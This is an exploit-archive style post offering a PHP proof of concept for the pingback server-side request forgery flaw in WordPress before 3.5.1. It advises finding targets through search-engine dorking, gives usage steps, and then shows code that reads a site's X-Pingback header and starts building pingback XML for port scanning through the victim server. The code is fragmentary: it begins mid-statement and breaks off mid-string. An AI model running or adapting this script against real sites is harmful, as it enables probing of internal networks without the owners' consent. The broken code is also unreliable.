=============================================================================================================================================
| # Title : WordPress before 3.5.1 Pingback Checker Tool |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://wordpress.org/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: The XMLRPC API in WordPress before 3.5.1 allows remote attackers to send HTTP requests to intranet servers, and conduct port-scanning attacks, by specifying a crafted source URL for a pingback, related to a Server-Side Request Forgery (SSRF) issue.
[+] save code as poc.php.
[+] USage : http://127.0.0.1/poc.php
[+] PayLoad :
targetUri = rtrim($targetUri, '/') . '/';
$this->numRedirects = $numRedirects;
$this->dbActive = $this->checkDatabase();
}
private function checkDatabase() {
// تحقق مما إذا كان هناك اتصال بقاعدة البيانات
return function_exists('mysqli_connect');
}
public function getXmlRpcUrl($ip) {
echo "$ip - Enumerating XML-RPC URI...\n";
$headers = get_headers("http://$ip{$this->targetUri}", 1);
if (isset($headers['X-Pingback'])) {
return $headers['X-Pingback'];
}
echo "$ip - X-Pingback header not found\n";
return null;
}
public function generatePingbackXml($target, $validBlogPost) {
return "" .
"